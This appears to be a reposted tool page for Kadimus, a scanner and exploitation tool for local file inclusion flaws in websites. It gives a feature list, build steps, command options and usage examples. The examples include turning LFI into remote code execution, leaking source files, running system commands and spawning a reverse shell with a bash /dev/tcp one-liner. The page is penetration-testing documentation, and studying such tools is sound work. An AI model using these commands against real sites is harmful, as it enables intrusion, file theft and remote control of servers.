Kadimus - Local File Inclusion (LFI) Scan & Exploit Tool

Kadimus is a tool that allows you to detect and exploit the Local File Inclusion (LFI) vulnerability in sites.

Features:

• Check all url parameters
•  /var/log/auth.log RCE
•  /proc/self/environ RCE
•  php://input RCE
•  data://text RCE
•  Source code disclosure
•  Multi thread scanner
•  Command shell interface through HTTP Request
•  Proxy support (socks4://, socks4a://, socks5:// ,socks5h:// and http://)
•  Proxy socks5 support for bind connections

Compile:

  $ git clone http://ift.tt/1GEYIAr
$ cd Kadimus  

You can run the configure file:

  ./configure  

Or follow this steps:

Installing libcurl:

• CentOS/Fedora:

  # yum install libcurl-devel  

• Debian based:

  # apt-get install libcurl4-openssl-dev  

• Mac OS X based:

  $ brew install openssl  

Installing libpcre:

• CentOS/Fedora:

  # yum install pcre-devel  

• Debian based:

  # apt-get install libpcre3-dev  

• Mac OS X based:

  $ brew install pcre  

Installing libssh:

• CentOS/Fedora:

  # yum install libssh-devel  

• Debian based:

  # apt-get install libssh-dev  

• Mac OS X based:

  $ brew install libssh  

And finally:

  $ make  

Options:

    -h, --help                    Display this help menu


  Request:

    -B, --cookie STRING         Set custom HTTP Cookie header

    -A, --user-agent STRING     User-Agent to send to server

    --connect-timeout SECONDS   Maximum time allowed for connection

    --retry-times NUMBER        number of times to retry if connection fails

    --proxy STRING              Proxy to connect, syntax: http://protocolhostname:port


  Scanner:

    -u, --url STRING            Single URI to scan

    -U, --url-list FILE         File contains URIs to scan

    -o, --output FILE           File to save output results

    --threads NUMBER            Number of threads (2..1000)


  Explotation:

    -t, --target STRING         Vulnerable Target to exploit

    --injec-at STRING           Parameter name to inject exploit

                                (only need with RCE data and source disclosure)


  RCE:

    -X, --rce-technique=TECH    LFI to RCE technique to use

    -C, --code STRING           Custom PHP code to execute, with php brackets

    -c, --cmd STRING            Execute system command on vulnerable target system

    -s, --shell                 Simple command shell interface through HTTP Request


    -r, --reverse-shell         Try spawn a reverse shell connection.

    -l, --listen NUMBER         port to listen


    -b, --bind-shell            Try connect to a bind-shell

    -i, --connect-to STRING     Ip/Hostname to connect

    -p, --port NUMBER           Port number to connect

    --b-proxy STRING            IP/Hostname of socks5 proxy

    --b-port NUMBER             Port number of socks5 proxy


    --ssh-port NUMBER           Set the SSH Port to try inject command (Default: 22)

    --ssh-target STRING         Set the SSH Host


    RCE Available techniques

      environ                   Try run PHP Code using /proc/self/environ

      input                     Try run PHP Code using php://input

      auth                      Try run PHP Code using /var/log/auth.log

      data                      Try run PHP Code using data://text


    Source Disclosure:

      -G, --get-source          Try get the source files using filter://

      -f, --filename STRING     Set filename to grab source [REQUIRED]

      -O FILE                   Set output file (Default: stdout)  

Examples:

• Scanning:

  ./kadimus -u localhost/?pg=contact -A my_user_agent
./kadimus -U url_list.txt --threads 10 --connect-timeout 10 --retry-times 0  

• Get source code of file:

  ./kadimus -t localhost/?pg=contact -G -f "index.php%00" -O local_output.php --inject-at pg  

• Execute php code:

  ./kadimus -t localhost/?pg=php://input%00 -C '' -X input  

• Execute command:

  ./kadimus -t localhost/?pg=/var/log/auth.log -X auth -c 'ls -lah' --ssh-target localhost  

• Checking for RFI:

You can also check for RFI errors, just put the remote URL on resource/common_files.txt and the regex to identify this, example:

  /* http://ift.tt/1GEYHMP */
  

in file:

  http://ift.tt/19jMZdb say get over here  

• Reverse shell:

  ./kadimus -t localhost/?pg=contact.php -Xdata --inject-at pg -r -l 12345 -c 'bash -i
>& /dev/tcp/127.0.0.1/12345 0>&1' --retry-times 0  

Download Kadimus

You might also like:

• Wireless Attack Toolkit - A Push-button Wireless Hacking & Man-In-The-Middle Attack Toolkit

• SQL Injection Test Environment - A Collection Of Web Pages Vulnerable To SQL Injection

• MKBRUTUS - A Password Bruteforcer For MikroTik Devices or Boxes Running RouterOS

• NoSQLMap - Automated Mongo Database & NoSQL Web Application Exploitation Tool

• Blue|Smash - A Bluetooth Pentest Suite

• Harald Scan - A Bluetooth Scanner for Linux and Mac OS X

• CSRFTester - Cross-Site Request Forgery Vulnerability Tester

• ModSecurity - An Open Source Web Application Firewall Engine

• PDFMiner - Python PDF Parser and Analyzer

• BTS PenTesting Lab - Vulnerable Web Application For Practicing Penetration Testing

• LANs.py - Tool For Injecting codes, Jamming WiFi, & Spying on WiFi Users

• WebSurgery - Web Application Security Testing Suite

• Beleth - Multi-threaded SSH Password Auditor

• pyClamd - Using Clamav with Python

• FuzzDB - Comprehensive Set Of Known Attack Sequences

• SecLists - The Pentesters Companion

• Cansina - Web Content Discovery Tool

• GoatDroid - Self-Contained Android Pentesting Environment

• ike-scan - Tool For Discovering, Fingerprinting, & Testing IPsec VPN Systems

• Wapiti - Web Application Vulnerability Scanner

• NetStalker - Rule-Based Network Traffic Monitoring & Filtering Tool

• FruityWiFi - Wireless Network Auditing Tool

• AxCrypt - File Encryption Software For Windows

• Ghiro - Automated Digital Image Forensics Tool

from Effect Hacking full article here